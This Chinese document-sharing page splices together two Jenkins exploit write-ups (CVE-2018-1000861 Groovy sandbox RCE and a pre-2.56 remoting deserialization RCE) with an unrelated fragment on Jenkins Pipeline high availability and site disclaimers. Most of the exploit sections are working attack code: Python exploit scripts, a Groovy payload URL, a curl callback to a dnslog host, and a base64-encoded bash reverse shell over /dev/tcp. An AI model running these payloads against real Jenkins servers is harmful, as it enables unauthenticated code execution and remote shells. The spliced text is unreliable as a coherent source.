Jenkins远程命令执行漏洞(CVE-2018-1000861)
Jenkins远程命令执⾏漏洞(CVE-2018-1000861)0X01 漏洞介绍Stapler Web框架中的钉书机/core/src/main/java/org/kohsuke/stapler/MetaClass.java中存在⼀个代码执⾏漏洞,攻击者可以使⽤该⽅法调⽤某些⽅法通过访问并⾮旨在通过这种⽅式调⽤的特制URL来访问Java对象。
0x02 影响版本Jenkins 2.153及更早版本,LTS 2.138.3及更早版本0x03 搭建环境直接使⽤vulhub环境0x04 漏洞复现payload:securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript sandbox=true&value=public class x {public x(){"touch /tmp/success".execute()}}执⾏exp:检查漏洞 python27 exp.py url “curl eppvh1.ceye.io ”执⾏:python27 exp.py url “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzIDA+JjE=}|{base64,-d}|{bash,-i} ”Exp:#!/usr/bin/python# coding: UTF-8# author: Orange Tsai(@orange_8361)#import sysimport requestsfrom enum import Enum# remove bad SSL warningstry:requests.packages.urllib3.disable_warnings()except:passendpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'class mode(Enum):ACL_PATCHED = 0NOT_JENKINS = 1READ_ENABLE = 2READ_BYPASS = 3ENTRY_NOTFOUND = 999def usage():print '''Usage:python exp.py <url> <cmd>'''def _log(msg, fail=False):nb = '[*]'if fail:nb = '[-]'print '%s %s' % (nb, msg)def _get(url, params=None):r = requests.get(url, verify=False, params=params) return r.status_code, r.contentdef _add_bypass(url):return url + 'securityRealm/user/admin/'def check(url):flag, accessible = mode.ACL_PATCHED, False# check ANONYMOUS_READstatus, content = _get(url)if status == 200 and 'adjuncts' in content:flag, accessible = mode.READ_ENABLE, True _log('ANONYMOUS_READ enable!')elif status == 403:_log('ANONYMOUS_READ disable!')# check ACL bypass, CVE-2018-1000861status, content = _get(_add_bypass(url))if status == 200 and 'adjuncts' in content:flag, accessible = mode.READ_BYPASS, True else:flag = mode.NOT_JENKINS# check entry point, CVE-2019-1003005if accessible:if flag is mode.READ_BYPASS:url = _add_bypass(url)status, content = _get(url + endpoint)if status == 404:flag = mode.ENTRY_NOTFOUNDreturn flagdef exploit(url, cmd):payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex') params = {'sandbox': True,'value': payload}status, content = _get(url + endpoint, params)if status == 200:_log('Exploit success!(it should be :P)')elif status == 405:_log('It seems Jenkins has patched the RCE gadget :(')else:_log('Exploit fail with HTTP status [%d]' % status, fail=True)if 'stack trace' in content:for _ in content.splitlines():if _.startswith('Caused:'):_log(_, fail=True)if __name__ == '__main__':if len(sys.argv) != 3:usage()exit()url = sys.argv[1].rstrip('/') + '/'cmd = sys.argv[2]flag = check(url)if flag is mode.ACL_PATCHED:_log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)elif flag is mode.NOT_JENKINS:_log('Is this Jenkins?', fail=True)elif flag is mode.READ_ENABLE:exploit(url, cmd)elif flag is mode.READ_BYPASS:_log('Bypass with CVE-2018-1000861!')exploit(_add_bypass(url), cmd)else:_log('The `checkScript` is not found, please try other entries(see refs)', fail=True) 0x05 修复⽅案1.尽量不要开放到公⽹2.限制来源IP3.升级到最新版。
[持续交付实践]JenkinsPipeline高可用设计方法
[持续交付实践]JenkinsPipeline⾼可⽤设计⽅法前⾔这篇写好⼀段时间了,⼀直也没发布上来,今天稍微整理下了交下作业,部分内容偷懒引⽤了⼀些别⼈的内容。
使⽤Jenkins做持续集成/持续交付,当业务达到⼀定规模的时候,Jenkins本⾝就很容易成为整条流⽔线的瓶颈,各个业务端都依靠Jenkins,部署Jenkins服务时如何保障服务的⾼可⽤变得尤为重要。
以微医为例,⽬前Jenkins的业务承载量:>1,000 Build Jobs,>5,000 Buils/Day,光依靠单master已经⽆法承载⾼并发的性能压⼒,瓶颈来⾃多⽅⾯,不仅仅是Jenkins 应⽤本⾝占⽤ memory 和 CPU 资源,也包括各个job编译、测试、部署等的资源开销,随着job数量的增加,⼤量的workspace也会耗尽服务器的存储空间,严重影响整个技术团队的⼯作效率和部署节奏。
⼀、Jenkins分布式集群架构Jenkins 分布式架构是由⼀个 Master 和多个 Slave Node组成的分布式架构。
在 Jenkins Master 上管理你的项⽬,可以把你的⼀些构建任务分担到不同的 Slave Node 上运⾏,Master 的性能就提⾼了。
Master/Slave相当于Server和agent的概念。
Master提供web接⼝让⽤户来管理job和slave,job可以运⾏在master本机或者被分配到slave上运⾏构建。
⼀个master(jenkins服务所在机器)可以关联多个slave⽤来为不同的job或相同的job的不同配置来服务。
⼆、传统的Jenkins Slave⽅式存在的问题传统的 Jenkins Slave ⼀主多从式会存在⼀些痛点。
⽐如:主 Master 发⽣单点故障时,整个流程都不可⽤了;每个 Slave 的配置环境不⼀样,来完成不同语⾔的编译打包等操作,但是这些差异化的配置导致管理起来⾮常不⽅便,维护起来也是⽐较费劲;资源分配不均衡,有的 Slave 要运⾏的 job 出现排队等待,⽽有的 Slave 处于空闲状态;资源有浪费,每台 Slave 可能是实体机或者 VM,当 Slave 处于空闲状态时,也不会完全释放掉资源。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限。
曝光地址:https:///index.php/archives/3171
影响的范围:
影响低于 2.56 的所有 Jenkins 主线版本
影响低于 2.46.1 的所有 Jenkins LTS 版本
实际操作:
1. 利用老外文章的代码,导出成payload.jar包,用来生成攻击用的payload文件。
可以自定义需要执行的命令:
Jar下载地址:
https:///nobleXu/jenkins/zip/master
java -jar payload.jar jenkins_poc1.ser “/usr/bin/touch /tmp/jenkinsTestNxadmin”
然后利用老外提供的python脚本向jenkins服务器提交post请求,就可以成功在被攻击服务器/tmp目录下生成文件。
也可以使用dnslog之类的来测试,如图:
2、修改jenkins_poc1.py中第13行的URL参数,改为你要攻击的靶机
jenkins_poc1.py 下载链接: https:///s/1misPilU密码: 6qqh
具体代码如下
import urllib
import requests
import uuid
import threading
import time
import gzip
import urllib3
import zlib
proxies = {
# 'http': 'http://127.0.0.1:8090',
# 'https': 'http://127.0.0.1:8090',
}
URL='http://192.168.0.1/cli'
PREAMLE='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=' PROTO = '\x00\x00\x00\x00'
FILE_SER = open("jenkins_poc1.ser", "rb").read()
def download(url, session):
headers = {'Side' : 'download'}
headers['Content-type'] = 'application/x-www-form-urlencoded'
headers['Session'] = session
headers['Transfer-Encoding'] = 'chunked'
r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True)
print r.text
def upload(url, session, data):
headers = {'Side' : 'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding'] = None
r = requests.post(url,data=data,headers=headers,proxies=proxies)
def upload_chunked(url,session, data):
headers = {'Side' : 'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding']= None
headers['Transfer-Encoding'] = 'chunked'
headers['Cache-Control'] = 'no-cache'
r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies)
def null_payload():
yield " "
def create_payload():
payload = PREAMLE + PROTO + FILE_SER
return payload
def create_payload_chunked():
yield PREAMLE
yield PROTO
yield FILE_SER
def main():
print "start"
session = str(uuid.uuid4())
t = threading.Thread(target=download, args=(URL, session))
t.start()
time.sleep(1)
print "pwn"
#upload(URL, session, create_payload()) upload_chunked(URL, session, "asdf")
if __name__ == "__main__":
main()
1. 执行py文件。